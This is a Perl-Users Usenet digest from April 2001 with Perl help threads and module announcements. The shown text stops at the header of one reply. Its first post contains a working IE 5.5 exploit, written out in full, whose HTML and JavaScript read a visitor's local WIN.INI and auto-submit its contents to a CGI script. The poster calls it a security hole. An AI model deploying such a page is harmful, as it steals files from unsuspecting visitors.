[18602] in Perl-Users-Digest
Perl-Users Digest, Issue: 770 Volume: 10
daemon@ATHENA.MIT.EDU (Perl-Users Digest)
Thu Apr 26 03:05:47 2001
Date: Thu, 26 Apr 2001 00:05:09 -0700 (PDT)
From: Perl-Users Digest <Perl-Users-Request@ruby.OCE.ORST.EDU>
To: Perl-Users@ruby.OCE.ORST.EDU (Perl-Users Digest)
Message-Id: <988268709-v10-i770@ruby.oce.orst.edu>
Content-Type: text
Perl-Users Digest Thu, 26 Apr 2001 Volume: 10 Number: 770
Today's topics:
Re: accessing hard drive via webpage <webmaster@einhardschule.de>
ANNOUNCE: Switch 2.02 (Damian Conway)
ANNOUNCE: Text::Balanced 1.84 (Damian Conway)
Re: checking case in perl <bart.lateur@skynet.be>
Compile time error - need help <gmiller@lightmail.com>
Re: crypt function disparity problem (Alan Barclay)
Re: DBM data stores stevenjm@telisphere.com
Re: Differences between perl and Tcl <comdog@panix.com>
Re: FAQ 3.12: How can I use curses with Perl? <webmaster@webdragon.unmunge.net>
file uploading <troyr@vicnet.net.au>
Re: file uploading <xris@dont.send.spam>
Re: file uploading <troyr@vicnet.net.au>
Re: Help for scrpit line.. <webmaster@einhardschule.de>
Re: Help for scrpit line.. <webmaster@einhardschule.de>
Re: Help! How to down size perl interperator ? <comdog@panix.com>
Re: HELP!!! Bus error(coredump) - How to recover? <webmaster@einhardschule.de>
Re: Idiom: the expression of a copied & substituted str <johnlin@chttl.com.tw>
Re: Installing Perl on Win98 (T.Hopkins)
Re: match a range of number <krahnj@acm.org>
Needing Help! <lowendz@home.com>
Re: operators: != vs. ne, strange behaviour <comdog@panix.com>
Re: operators: != vs. ne, strange behaviour (Martien Verbruggen)
Re: operators: != vs. ne, strange behaviour <webmaster@einhardschule.de>
Question: Storable dumps in code <sharding@ccbill.com>
Re: Running Command Line Commands <bowman@montana.com>
Re: Spoofing a http referer (Martin Vorlaender)
Re: Tcl is faster then perl. (Logan Shaw)
Re: Tcl is faster then perl. <mischief@velma.motion.net>
Re: total newbie <cgunn@bizynet.com>
Re: US$50 prize for hash failure from 'delete' inside a (Malcolm Dew-Jones)
Re: US$50 prize for hash failure from 'delete' inside a <epa98@doc.ic.ac.uk>
Digest Administrivia (Last modified: 6 Apr 01) (Perl-Users-Digest Admin)
----------------------------------------------------------------------
Date: Thu, 26 Apr 2001 08:52:57 +0200
From: "Einhardschule Seligenstadt" <webmaster@einhardschule.de>
Subject: Re: accessing hard drive via webpage
Message-Id: <9c8gcd$u17$03$1@news.t-online.com>
Craig Berry <cberry@cinenet.net> schrieb in im Newsbeitrag:
teebtsqe6r240e@corp.supernews.com...
> mathieu.barroussel (mathieu.barroussel@ntlworld.com) wrote:
> : I need to write a cgi (Perl or C) that, from my web page, enables me to
> : access the c:\ hard drive or just one program, on a remote PC. Is this
> : possible?
>
> Only if the target machine cooperates by running e.g. an ftp or telnet
> server to which your cgi program could connect. If this were possible
> without explicit local support, nobody (other than utter fools) would ever
> use the net.
Yes it is possible. Thx IE 5.5 ;)
<HTML>
<BODY>
<FORM NAME="jsf" ACTION="cgi-bin/upload.cgi" METHOD="GET">
<INPUT TYPE=HIDDEN NAME="ta">
</FORM>
<SCRIPT>
o = GetObject ('C:\\WINDOWS\\WIN.INI', 'htmlfile');
setTimeout (
function ()
{
document.jsf.ta.value = o.body.innerText;
document.jsf.submit ();
}, 1000
);
</SCRIPT>
</BODY>
</HTML>
and use a simple CGI script to catch this. So you can download anyone's (who
uses MSIE 5.5) WIN.INI. But this is not a feature but a severe security
hole! And this does not work with binary files, but you can often get parts
of them (eg WOrd documents). Make ta a textarea to see if it works.
But this is OT in this group (I cannot mail from school).
--
Rudolf Polzer
------------------------------
Date: 26 Apr 2001 02:01:47 GMT
From: damian@cs.monash.edu.au (Damian Conway)
Subject: ANNOUNCE: Switch 2.02
Message-Id: <tef20brlu6j657@corp.supernews.com>
Keywords: perl, module, release
==============================================================================
Release of version 2.02 of Switch
==============================================================================
NAME
Switch - A switch statement for Perl
DESCRIPTION
Switch.pm provides the syntax and semantics for an explicit case
mechanism for Perl. The syntax is minimal, introducing only the
keywords C<switch> and C<case> and conforming to the general pattern
of existing Perl control structures. The semantics are particularly
rich, allowing any one (or more) of nearly 30 forms of matching to
be used when comparing a switch value with its various cases.
AUTHOR
Damian Conway (damian@conway.org)
COPYRIGHT
Copyright (c) 1997-2000, Damian Conway. All Rights Reserved. This module
is free software. It may be used, redistributed and/or modified under
the terms of the Perl Artistic License (see
http://www.perl.com/perl/misc/Artistic.html)
==============================================================================
CHANGES IN VERSION 2.02
- Fixed unwarranted whitespace squeezing before quotelikes
(thanks Ray)
- Fixed pernicious bug that cause switch to fail to recognize
certain complex switch values
==============================================================================
AVAILABILITY
Switch has been uploaded to the CPAN
and is also available from:
http://www.csse.monash.edu.au/~damian/CPAN/Switch.tar.gz
==============================================================================
------------------------------
Date: 26 Apr 2001 01:59:40 GMT
From: damian@cs.monash.edu.au (Damian Conway)
Subject: ANNOUNCE: Text::Balanced 1.84
Message-Id: <tef201aatak34f@corp.supernews.com>
Keywords: perl, module, release
==============================================================================
Release of version 1.84 of Text::Balanced
==============================================================================
NAME
Text::Balanced - Extract delimited text sequences from strings.
SUMMARY (see Balanced.pod for full details)
Text::Balanced::extract_delimited
`extract_delimited' extracts the initial substring of a string
which is delimited by a user-specified set of single-character
delimiters, whilst ignoring any backslash-escaped delimiter
characters.
Text::Balanced::extract_bracketed
`extract_bracketed' extracts a balanced-bracket-delimited substring
(using any one (or more) of the user-specified delimiter brackets:
'(..)', '{..}', '[..]', or '<..>').
Text::Balanced::extract_quotelike
`extract_quotelike' attempts to recognize and extract any one of the
various Perl quote and quotelike operators (see "perlop(3)"). Embedded
backslashed delimiters, nested bracket delimiters (for the
quotelike operators), and trailing modifiers are all correctly handled.
Text::Balanced::extract_codeblock
`extract_codeblock' attempts to recognize and extract a
balanced bracket-delimited substring which may also contain
unbalanced brackets inside Perl quotes or quotelike
operations. That is, `extract_codeblock' is like a combination
of `extract_bracketed' and `extract_quotelike'.
Text::Balanced::extract_tagged
`extract_tagged' attempts to recognize and extract a
substring between two arbitrary "tag" patterns (a start tag
and an end tag).
INSTALLATION
It's all pure Perl, so just put the .pm file in its appropriate
local Perl subdirectory.
AUTHOR
Damian Conway (damian@cs.monash.edu.au)
COPYRIGHT
Copyright (c) 1997-2000, Damian Conway. All Rights Reserved.
This module is free software. It may be used, redistributed
and/or modified under the terms of the Perl Artistic License
(see http://www.perl.com/perl/misc/Artistic.html)
==============================================================================
CHANGES IN VERSION 1.84
- Fixed major bug in certain extractions not matching strings
with embedded newlines (thanks Robin)
==============================================================================
AVAILABILITY
Text::Balanced has been uploaded to the CPAN
and is also available from:
http://www.csse.monash.edu.au/~damian/CPAN/Text-Balanced.tar.gz
==============================================================================
------------------------------
Date: Wed, 25 Apr 2001 22:56:07 GMT
From: Bart Lateur <bart.lateur@skynet.be>
Subject: Re: checking case in perl
Message-Id: <4dleetgu70rjfbdcarfoig2pn9ln2jcmp3@4ax.com>
Roulhac wrote:
>what if the string contains numbers and non alphabetic characters, like
>underscore, etc. How do I handle that?
Are you sure you don't want a regex approach?
not /[^A-Z]/
This is true if there is no character that isn't an uppercase letter.
Er... am I making myself clear? The regex will match if there as at
least one non-caps letter. The "not" inverts that.
/^[A-Z]*$/
will appear to do the same, except that the string can also contain a
trailing newline, and still match.
--
Bart.
------------------------------
Date: Wed, 25 Apr 2001 18:19:06 -0700
From: "GA MILLER" <gmiller@lightmail.com>
Subject: Compile time error - need help
Message-Id: <uHKF6.345$Of7.259534@news03.micron.net>
I am attempting to use HTML::Parser. At first it whined that it "Can't
locate <N> in @INC" and I pointed to the correct diretory with a "use lib"
at the top of the code. The compile now says:
"Can't locate loadable object for module HTML::Parser"
The fact that the "use lib" caused the error to 'change' kinda indicates
that it can now locate the correct module, but now finds something else
objectionable (pun?). Any help would be appreciated.
THX
------------------------------
Date: 26 Apr 2001 01:22:27 GMT
From: gorilla@elaine.furryape.com (Alan Barclay)
Subject: Re: crypt function disparity problem
Message-Id: <988248103.549241@elaine.furryape.com>
In article <91eeetglqelvg9ajrfjqun1d0pesnerntg@4ax.com>,
Bart Lateur <bart.lateur@skynet.be> wrote:
>so long ago, it was still illegal to export DES from the USA, so the
>rest of the world had to help themselves with MD5... which is a much
>more powerful encryption scheme, BTW. Since then, this law has been
Bart knows this, but ... MD5 isn't an encryption scheme, it's
a hashing system. In this case, the difference is a bit academic,
because the crypt funtion isn't actually used to encrypt, and they're
both being used in the same way - to take a password and produce a
value which can later be used to validate the password was reentered
correctly. However, in other contexts it's important. Normally an
encryption scheme would be reversable - the plain text can be recovered
from the encrypted text. However, with MD5 and other similar hashing
schemes it's impossible to do so because information has been lost -
an MD5 value is always 128 bits long, regardless of the length
of the message.
------------------------------
Date: Thu, 26 Apr 2001 04:17:20 GMT
From: stevenjm@telisphere.com
Subject: Re: DBM data stores
Message-Id: <kjNF6.127$l3.156654@bcandid.telisphere.com>
In article <YBxF6.28706$PF4.50092@news.iol.ie>, "Eric Mosley"
<ericm@iol.ie> wrote:
> Hi,
>
> We are looking at using a DBM store for our cgi routines on the web
> server. The max amount of data will be about 10,000 name-value pairs.
>
> But what I'm worried about is multiple instances of the perl cgi program
> all reading/writing to the same DBM file - is lockin inherently built
> into the DBM package or is there a work around?
>
> Thanks for the help!
>
> Eric
>
>
>
Perl Cookbook, page 497, Locking DBM Files
If you don't have the book buy it. It's well worth it for these types
of questions....
As a side note, if you are going to be doing searches on your data rather
than looking up data by using exact match hash keys, you really should
consider using either MySQL or Postgresql.
Search speed on 'like' searches in a DBM Database is truly dismal with
larger data sets.
Another response mentioned B-Tree hashes which are cool, but my
experience with them suggests that they load very slowly once you start
getting into larger data sets. ( anything over a few thousand key/value
pairs ) Probably I'm doing something wrong, but a data set that took
minutes to load into a B-Tree tied hash loads in just a few seconds
into a MySQL table.
Ahhhh.... I'm refrering to loading new data into the hash here,
not accessing the hash to retrieve values.... I've run DBM databases up
over 600,000 keys and seen no apparent slow down in accessing data as
long as your were asking for specific key /value pairs. Just takes a
while to get the data into the hash when loading it...... :-)
Steve
------------------------------
Date: Wed, 25 Apr 2001 21:51:51 -0400
From: brian d foy <comdog@panix.com>
Subject: Re: Differences between perl and Tcl
Message-Id: <comdog-E97E84.21515125042001@news.panix.com>
In article <slrn9ee2g0.bcg.eins@www42.t-offline.de>, eins@durchnull.de
wrote:
> Yes, but do you know a CGI provider that supports Tcl?
sure. some servers have built-in Tcl interpreters.
--
brian d foy <comdog@panix.com>
------------------------------
Date: 26 Apr 2001 03:28:01 GMT
From: "Scott R. Godin" <webmaster@webdragon.unmunge.net>
Subject: Re: FAQ 3.12: How can I use curses with Perl?
Message-Id: <9c84k1$h9o$0@216.155.33.49>
In article <2OJF6.14$T3.170159616@news.frii.net>,
PerlFAQ Server <faq@denver.pm.org> wrote:
| How can I use curses with Perl?
Seek inspiration at every point at which your program does either
something you didn't expect or never wanted it to. :D
*duck*
--
unmunge e-mail here:
#!perl -w
print map {chr(ord($_)-3)} split //, "zhepdvwhuCzhegudjrq1qhw";
# ( damn spammers. *shakes fist* take a hint. =:P )
------------------------------
Date: Thu, 26 Apr 2001 13:53:57 +1000
From: "Troy Boy" <troyr@vicnet.net.au>
Subject: file uploading
Message-Id: <m0NF6.964$c01.28362@ozemail.com.au>
Hi I'm using the following to upload a file to a server. But anything over a
1 meg does not go thru. Does anyone know why? I have increased the buffer
size to more than 1024.
Thanks in advance
Html bit
<snip>
<form action=mytest.cgi method=post ENCTYPE="multipart/form-data">
<input type=hidden name=action value=upload>
<input type="file" name="fileToGo"><br><br>
<input type=submit name=import>
</form>
Perl Bit
<snip>
open (OUTFILE, ">$fileName");
while (my $bytesread = read($file, my $buffer, 1024)) {
print OUTFILE $buffer;
}
close (OUTFILE);
--
----------------------------------------------------------------
Troy Rasiah
Melbourne, Aus
------------------------------
Date: Wed, 25 Apr 2001 23:56:39 -0500
From: xris <xris@dont.send.spam>
Subject: Re: file uploading
Message-Id: <xris-3EBC88.23563225042001@news.evergo.net>
In article <m0NF6.964$c01.28362@ozemail.com.au>,
"Troy Boy" <troyr@vicnet.net.au> wrote:
> Hi I'm using the following to upload a file to a server. But anything over a
> 1 meg does not go thru. Does anyone know why? I have increased the buffer
> size to more than 1024.
Could be that the server times out, or dies because its buffer memory
fills up. Not that it would, but it might. though it definitely sounds
like a server issue than a perl issue.
------------------------------
Date: Thu, 26 Apr 2001 14:57:12 +1000
From: "Troy Boy" <troyr@vicnet.net.au>
Subject: Re: file uploading
Message-Id: <HXNF6.1017$c01.30449@ozemail.com.au>
"xris" <xris@dont.send.spam> wrote in message
news:xris-3EBC88.23563225042001@news.evergo.net...
> In article <m0NF6.964$c01.28362@ozemail.com.au>,
> "Troy Boy" <troyr@vicnet.net.au> wrote:
>
> > Hi I'm using the following to upload a file to a server. But anything
over a
> > 1 meg does not go thru. Does anyone know why? I have increased the
buffer
> > size to more than 1024.
>
> Could be that the server times out, or dies because its buffer memory
> fills up. Not that it would, but it might. though it definitely sounds
> like a server issue than a perl issue.
>
mmm Its not a perl issue at all sorry guys
I just tried it in Netscape and it works fine..
damn you IE
If anyone has come around this prob please don't hesitate to post to me
seperately
Cheers
------------------------------
Date: Thu, 26 Apr 2001 08:40:20 +0200
From: "Einhardschule Seligenstadt" <webmaster@einhardschule.de>
Subject: Re: Help for scrpit line..
Message-Id: <9c8fl7$gq6$07$1@news.t-online.com>
Vinny Murphy <vmurphy@Cisco.Com> schrieb in im Newsbeitrag:
m366fsri05.fsf@vpnrel.cisco.com...
> Vinny Murphy <vmurphy@Cisco.Com> writes:
>
> > anno4000@lublin.zrz.tu-berlin.de (Anno Siegel) writes:
> >
> > > According to Vinny Murphy <vmurphy@Cisco.Com>:
> > > > lee changkun <lckun@informatik.uni-rostock.de> writes:
> > > >
> > > > > Hi all,
> > > > >
> > > > >
> > > > > Can Anyone tell me what means this command line ?
> > > > >
> > > > > I don't understand -M and 60/60/24.
> > > > >
> > > > > I think -M is Age of file in days when script started. But what
means
> > > > > 60/60/24??
> > > > >
> > > > > if (-M "$file" > 60/60/24){
> > > > >
> > > > > }
> > > >
> > > > if the file has been modified more than an hour.
> > > ^^^^
> > >
> > > Second.
> > >
> > > 60/60/24 is just an arithmetic expression. The result is one second,
> > > expressed as a fraction of one day.
> >
> > My only defense is that I have a math degree from a public
> > university. :-)
>
> But isn't 1/24 is an an hour?
perl -e "die if 60/60/24 == 1/24;"
Died
So 60/60/24 == 1/24. / is evaluated left-to-right.
SCRN
------------------------------
Date: Thu, 26 Apr 2001 08:42:24 +0200
From: "Einhardschule Seligenstadt" <webmaster@einhardschule.de>
Subject: Re: Help for scrpit line..
Message-Id: <9c8fp3$j5t$01$1@news.t-online.com>
Craig Berry <cberry@cinenet.net> schrieb in im Newsbeitrag:
teee8mmmin8471@corp.supernews.com...
> nobull@mail.com wrote:
> : lckun <lckun@chollian.net> writes upside down and untrimmed. In other
> : words he is being rude. And because he's being so rude I'm not
> : prepared to catch, gut, clean and cook his fish for him.
> :
> : > If I will change one minute instead of an hour in the script, what
> : > should i modify it?
> :
> : The number. Change it from the number of days in an hour to the
> : number of days in a minuite (sic).
>
> How about 60/60/24/60? :)
Yes. But when you use more 60's, it is harder to read.
86400/24/(60/60)/60/60/24/60
SCRN
------------------------------
Date: Thu, 26 Apr 2001 00:51:55 -0400
From: brian d foy <comdog@panix.com>
Subject: Re: Help! How to down size perl interperator ?
Message-Id: <comdog-E24480.00515526042001@news.panix.com>
In article <3g82UE$W1y@openbazaar.net>, Pally.bbs@openbazaar.net
(Pally) wrote:
> Is there any way to down size perl interperator (/usr/bin/perl)
>
> from 500k to below 200k ?
>
> I need this way to put perl interperator into flash rom .
do you need all of perl or can you get away with microperl?
--
brian d foy <comdog@panix.com>
------------------------------
Date: Thu, 26 Apr 2001 08:37:37 +0200
From: "Einhardschule Seligenstadt" <webmaster@einhardschule.de>
Subject: Re: HELP!!! Bus error(coredump) - How to recover?
Message-Id: <9c8ffd$spi$03$1@news.t-online.com>
John Lin <johnlin@chttl.com.tw> schrieb in im Newsbeitrag:
9c676q$sj9@netnews.hinet.net...
> More information, when I run with perl -d, I got
>
> $ perl -d GWftp.pl
> Default die handler restored.
>
> Loading DB routines from perl5db.pl version 1.07
> Editor support available.
>
> Enter h or `h h' for help, or `man perldebug' for more help.
>
> Signal BUS at /opt/perl5/lib/site_perl/5.6.0/Net/FTP.pm line 21
> Net::FTP::BEGIN('strict', 'Fcntl') called at
/opt/perl5/lib/site_perl/50
> require 0 called at /opt/perl5/lib/site_perl/5.6.0/Net/Config.pm
line 0
> require Net/FTP.pm called at GWftp.pl line 5
> main::BEGIN() called at
/opt/perl5/lib/site_perl/5.6.0/Net/Config.pm li0
> require 0 called at /opt/perl5/lib/site_perl/5.6.0/Net/Config.pm
line 0
> Abort(coredump)
What happens on
perl -MNet::FTP -e"print 1;"
? If it crashes, try to download Net::FTP from the CPAN (again).
------------------------------
Date: Thu, 26 Apr 2001 11:21:21 +0800
From: "John Lin" <johnlin@chttl.com.tw>
Subject: Re: Idiom: the expression of a copied & substituted string
Message-Id: <9c843s$nm6@netnews.hinet.net>
<nobull@mail.com> wrote
> > do { (my $new = $original) =~ s/\.pl$/.bak/; $new }; # copied & substituted
> > Bring this expression as rename's parameter:
> > rename $original, do { (my $new = $original) =~ s/\.pl$/.bak/; $new };
>
> How about:
> rename $original, (map { s/\.pl$/.bak/; $_ } "$original")[0];
Wow, great!!! Now I learned "$original" will make a copy. (No need of "my")
Hmm... List context is fine here (so don't need the [0]):
sub ren { print "rename @_\n" }
my $original = 'hello.pl';
ren $original, map { s/\.pl$/.bak/; $_ } "$original";
__END__
rename hello.pl hello.bak
And it seems { s/\.pl$/.bak/; $_ } is the final answer because we cannot ask
s//; to return the string (instead of a number).
Hey, I fabricated this (works in the above case) to shorten the { s/\.pl$/.bak/; $_ }
ren $original, grep { s/\.pl$/.bak/ } "$original";
Just for fun. It's no good.
Again, I learned a lot here. Thank you very much.
John Lin
P.S. Any other constructs like "$original" that will make a copy of a variable?
------------------------------
Date: Thu, 26 Apr 2001 05:38:32 GMT
From: boa@freemail.c3.hu (T.Hopkins)
Subject: Re: Installing Perl on Win98
Message-Id: <3ae8b3ae.2166260@news.matav.hu>
On Wed, 04 Apr 2001 05:43:37 GMT, "Evelyn Okec" <eokec@mediaone.net>
wrote:
>I downloaded Perl Software on my Win98 machine. There are several install
>files which show up in a format I am not familiar with. Which install file
>do I use and what program do I associate that install file with?
>
I think you would be better to use Indigoperl (www.indigostar.com) and
you will get an Apache server with it too. The Activestate doesn't
work on my Win32 in my case (I don't know why), but IndigoPerl is
okay.
Hi
T.Hopkins
boa@freemail.c3.hu
------------------------------
Date: Thu, 26 Apr 2001 02:45:53 GMT
From: "John W. Krahn" <krahnj@acm.org>
Subject: Re: match a range of number
Message-Id: <3AE78BCE.2548238F@acm.org>
DT wrote:
>
> Can I use a single matching to do:
>
> (($i > 123) && ($i < 456))
use Quantum::Superpositions;
if ( $i == any( 123 .. 456 ) { ... }
John
--
use Perl;
program
fulfillment
------------------------------
Date: Thu, 26 Apr 2001 04:40:05 GMT
From: "MJ" <lowendz@home.com>
Subject: Needing Help!
Message-Id: <FENF6.21390$Jh5.21370352@news1.rdc1.sfba.home.com>
I was wondering if any one of you can give me some sort of advice of
creating a skeleton of a program. I've never programmed in Perl before and
haven't been back to programming for the last 5 years! So I was wondering
how to set up a program that will extract info out of two SQL tables (the
name from one and a date from the other) and also info from an Access table
(the address) and query it so that it takes the matching selected info and
spits it out to a document (say something like a notepad base).
Then to get a bit more complicated, have it also set up to send out the
collected info out to selected people through an exchange server...
Thanks in advance for your responses and help.
------------------------------
Date: Wed, 25 Apr 2001 21:49:29 -0400
From: brian d foy <comdog@panix.com>
Subject: Re: operators: != vs. ne, strange behaviour
Message-Id: <comdog-7BFA33.21492925042001@news.panix.com>
In article <slrn9eduka.2de.eins@www42.t-offline.de>, eins@durchnull.de
wrote:
> AND I FOUND A WAY TO GENERATE NAN WITHOUT USING STRINGS:
>
> print (-1) ** 0.5;
>
> TO PROVE NAN IS NOT SUPPORTED BY ACCIDENT.
i get completely different behaviour on the *BSD flavours, as
i noted earlier. i don't see the references in the perl docs
that lead you to beleive that NaN is a perl feature. it
is certainly discussed, but only in terms of the IEEE
representation - not a declaration of support by perl. indeed,
i have already shown versions of perl that don't.
--
brian d foy <comdog@panix.com>
------------------------------
Date: Thu, 26 Apr 2001 03:13:48 GMT
From: mgjv@tradingpost.com.au (Martien Verbruggen)
Subject: Re: operators: != vs. ne, strange behaviour
Message-Id: <slrn9ef4jc.bf0.mgjv@verbruggen.comdyn.com.au>
On Wed, 25 Apr 2001 21:49:29 -0400,
brian d foy <comdog@panix.com> wrote:
> In article <slrn9eduka.2de.eins@www42.t-offline.de>, eins@durchnull.de
> wrote:
>
>
>> AND I FOUND A WAY TO GENERATE NAN WITHOUT USING STRINGS:
>>
>> print (-1) ** 0.5;
>>
>> TO PROVE NAN IS NOT SUPPORTED BY ACCIDENT.
>
> i get completely different behaviour on the *BSD flavours, as
> i noted earlier. i don't see the references in the perl docs
> that lead you to beleive that NaN is a perl feature. it
> is certainly discussed, but only in terms of the IEEE
> representation - not a declaration of support by perl. indeed,
> i have already shown versions of perl that don't.
I suggested in an article upthread that NaN in Perl is probably only
supported [1] on systems that have isnan(3) (and where Configure
actually detects this). I don't, unfortunately, have enough time and
data available to follow up on that idea.
Martien
[1] Where 'supported' should be interpreted in a very loose and
liberal manner.
--
Martien Verbruggen |
Interactive Media Division | "In a world without fences,
Commercial Dynamics Pty. Ltd. | who needs Gates?"
NSW, Australia |
------------------------------
Date: Thu, 26 Apr 2001 08:06:35 +0200
From: "Einhardschule Seligenstadt" <webmaster@einhardschule.de>
Subject: Re: operators: != vs. ne, strange behaviour
Message-Id: <9c8dm3$bln$02$1@news.t-online.com>
Martien Verbruggen <mgjv@tradingpost.com.au> schrieb in im Newsbeitrag:
slrn9ef4jc.bf0.mgjv@verbruggen.comdyn.com.au...
> On Wed, 25 Apr 2001 21:49:29 -0400,
> brian d foy <comdog@panix.com> wrote:
> > In article <slrn9eduka.2de.eins@www42.t-offline.de>, eins@durchnull.de
> > wrote:
> >
> >
> >> AND I FOUND A WAY TO GENERATE NAN WITHOUT USING STRINGS:
> >>
> >> print (-1) ** 0.5;
> >>
> >> TO PROVE NAN IS NOT SUPPORTED BY ACCIDENT.
> >
> > i get completely different behaviour on the *BSD flavours, as
> > i noted earlier. i don't see the references in the perl docs
> > that lead you to beleive that NaN is a perl feature. it
> > is certainly discussed, but only in terms of the IEEE
> > representation - not a declaration of support by perl. indeed,
> > i have already shown versions of perl that don't.
>
> I suggested in an article upthread that NaN in Perl is probably only
> supported [1] on systems that have isnan(3) (and where Configure
> actually detects this). I don't, unfortunately, have enough time and
> data available to follow up on that idea.
>
> Martien
>
> [1] Where 'supported' should be interpreted in a very loose and
> liberal manner.
I meant: Perl supports NaN and Inf IF AND ONLY IF compiled in. And to the
man page references: just grep for NAN!
It is said you cannot check using a simple re for a numeric format because
IEEE special numbers like NAN do not match it.
What does
(-1) ** 0.5
do on your computer?
More interestingly, ActivePerl displays
-1.#IND
or
-2147483648
a value that cannot be casted back by adding 0 (you get -1 as result).
Why is there a difference between
C:\perl\bin>perl -e "$x = -2; $x = $x ** 0.5; print $x;"
-1.#IND
and
C:\perl\bin>perl -e "$x = (-2) ** 0.5; print $x;"
-2147483648
? Linux displays NaN on both. This does not change when replacing -2 by -1.1
(so the fact that -2 is an integer does not count).
And: -1.#IND is equal to itself.
And: log 'nan' == 'nan', but
C:\perl\bin>perl -e "$x = -2; $x = $x ** 0.5; print log $x;"
Can't take log of -1.#IND at -e line 1.
This is code that generates an error on ActivePerl but not in Linux, where
just 'nan' is displayed.
Dumper cannot store this value, too:
C:\perl\bin>perl -e "$x = (-2); $x = $x ** 0.5; use Data::Dumper; print
Dumper $x;
$VAR1 = '-1.#IND';
Unfortunately I do not have Storable on ActivePerl, so I cannot check the
binary representation of the data.
------------------------------
Date: Wed, 25 Apr 2001 18:21:25 -0700
From: "Shay Harding" <sharding@ccbill.com>
Subject: Question: Storable dumps in code
Message-Id: <9c7slk$cv4$1@node17.cwnet.frontiernet.net>
Problem is I am getting a dump when retrieving an object saved via
Storable::store.
Code:
-------------------------------------------------------------------
#!/usr/bin/perl -w
use Storable;
use Data::Dumper;
use DBI;
my $dbh = DBI->connect("DBI:mysql:test",'root','');
store($dbh,'/tmp/dbh');
my $newDbh = retrieve('/tmp/dbh');
print "ORIGINAL = ", Dumper($dbh), "\n\n";
print "STORED = ", Dumper($newDbh), "\n\n";
-----------------------------------------------------------------------
Produces:
------------------------------------------------------------------------
ORIGINAL = $VAR1 = bless( {}, 'DBI::db' );
SV = RV(0x815ea60) at 0x828a64c
REFCNT = 1
FLAGS = (ROK)
RV = 0x828a5a4
dbih_getcom handle 'DBI::db=HASH(0x828a5a4)' is not a DBI handle (has no
magic) at /usr/local/lib/perl5/5.6.0/i686-linux-thread/Data/Dumper.pm line
150.
SV = RV(0x815ea60) at 0x828a64c
REFCNT = 1
FLAGS = (ROK)
RV = 0x828a5a4
SV = RV(0x815ea8c) at 0xbffff3e4
REFCNT = 1
FLAGS = (ROK,READONLY)
RV = 0x828a5a4
SV = RV(0x815ea1c) at 0x828a880
REFCNT = 1
FLAGS = (ROK)
RV = 0x828a88c
SV = RV(0x815e9c8) at 0xbffff114
REFCNT = 1
FLAGS = (ROK,READONLY)
RV = 0x828a88c
------------------------------------------------------------------------
I know that <dbih_getcom handle 'DBI::db=HASH(0x828a5a4)' is not a DBI
handle (has no magic)> is being produced from within DBI.xs line 483. Which
I believe backtraces as follows:
DBI.xs line 731 (dbih_setup_handle)
DBI.xs line 2023 (_setup_handle)
DBI.pm line 696 (_new_handle)
DBI.pm line 743 (_new_dbh)
mysql.pm line 124 (connect)
Now I am wondering if there is a way to get the DBI handle to persist with
all it's connection data, then when accessed have it still connected? Is
mod_perl my only hope?
Reason being is I would like to share a connection across two different
processes rather than connect twice to the same data source. Is this even
possible or am I just going about it incorrectly?
I have attemped to use Storable::freeze/thaw but with the same results. I
have also tried FreezeThaw but, again, same kind of dump. I am certain the
connection will close once attempting to serialize the object, but have
tried everything I can think of. I just thought the dump was curious.
Thanks.
Shay
------------------------------
Date: Wed, 25 Apr 2001 21:18:03 -0600
From: "bowman" <bowman@montana.com>
Subject: Re: Running Command Line Commands
Message-Id: <opMF6.2094$s11.8140@newsfeed.slurp.net>
"Milton Road" <miltonroad@btinternet.com> wrote in message
news:QsIF6.130978$g63.15049620@nnrp3.clara.net...
>
> If you're running on Windows you need to run Windows system commands,
> namely rename ( or move ) and del. The system command won't find mv or rm
> on your box because they're not there.
That said, there are several ports of most of the common *nix tools. Cygwin
might be a little overkill, but the complete install will come as close to
Linux on a windows box as possible. MKS is another, but is not free. At one
time there was a project to replicate the *nix tools in Perl, but I haven't
followed the progress on that. If you install any of these, you should be
able to run many of your scripts cross platform. At the end of the day,
though, Windows isn't Linux and some things just won't work as expected.
Another possibility is to use doskeys to alias the common commands, though
this isn't all that satisfactory.
------------------------------
Date: Thu, 26 Apr 2001 03:21:23 +0200
From: martin@radiogaga.harz.de (Martin Vorlaender)
Subject: Re: Spoofing a http referer
Message-Id: <3ae77813.524144494f47414741@radiogaga.harz.de>
Bastian Ballmann (ballmann@co-de.de) wrote:
> I have downloaded the Bundle::LWP and have read most of the manual but I
> still dont know how to spoof a http referer.
'Referer' is just another header field:
use LWP::UserAgent;
$ua = new LWP::UserAgent;
$req = new HTTP::Request 'GET' => $url;
$req->header('Referer' => $referring_url);
$res = $ua->request($req);
cu,
Martin
--
One OS to rule them all | Martin Vorlaender | VMS & WNT programmer
One OS to find them | work: mv@pdv-systeme.de
One OS to bring them all | http://www.pdv-systeme.de/users/martinv/
And in the Darkness bind them.| home: martin@radiogaga.harz.de
------------------------------
Date: 25 Apr 2001 20:10:43 -0500
From: logan@cs.utexas.edu (Logan Shaw)
Subject: Re: Tcl is faster then perl.
Message-Id: <9c7sij$du8$1@charity.cs.utexas.edu>
In article <yJJF6.12$T3.170609152@news.frii.net>,
Chris Fedde <cfedde@fedde.littleton.co.us> wrote:
>because the person writing the program knew more or less about one
>or the other programming languages and chose some sub-optomal or
>super-optomal way of implementing the task.
I keep reading that over and over again, and I can't make any sense out
of the idea of "super-optimal".
- Logan
--
my your his her our their _its_
I'm you're he's she's we're they're _it's_
------------------------------
Date: Thu, 26 Apr 2001 02:06:27 -0000
From: Chris Stith <mischief@velma.motion.net>
Subject: Re: Tcl is faster then perl.
Message-Id: <tef0l3sfind447@corp.supernews.com>
Wenzel, Joel [CAR:VS11:EXCH] <coopvs14@americasm01.nt.com> wrote:
> Everyone was ignoring my question when I said perl was faster then Tcl
> so I switched it around. Perl is in fact faster then Tcl according to
> several benchmark tests I'v found but I don't have a clue why since the
> newer versions of Tcl have been improved.
> quesition.
> I've
> read a lot of things about what slow Tcl down.
> Versions prior to 8.0 did not have a byte-code
> compiler or the capability of storing binary but the
> new Tcl does. I do not know of any other reasons that
> could lead to such a huge cpu time gap.
Lots of things. Memory overhead per symbol comes to mind.
Optimization during code generation is another thing. How
many cache misses and system calls are required in the
interpreter for a task can make a big difference.
> Does the fact that Tcl can store binary strings mean
> that numbers are now stored in binary. Are
> expressions involving the addition of numbers faster?
I don't know. This is a TCL issue, not a Perl one. ;-)
Chris
--
Programming is a tool. A tool is neither good nor evil. It is
the user who determines how it is used and to what ends.
------------------------------
Date: Wed, 25 Apr 2001 22:40:42 -0500
From: Chris Gunn <cgunn@bizynet.com>
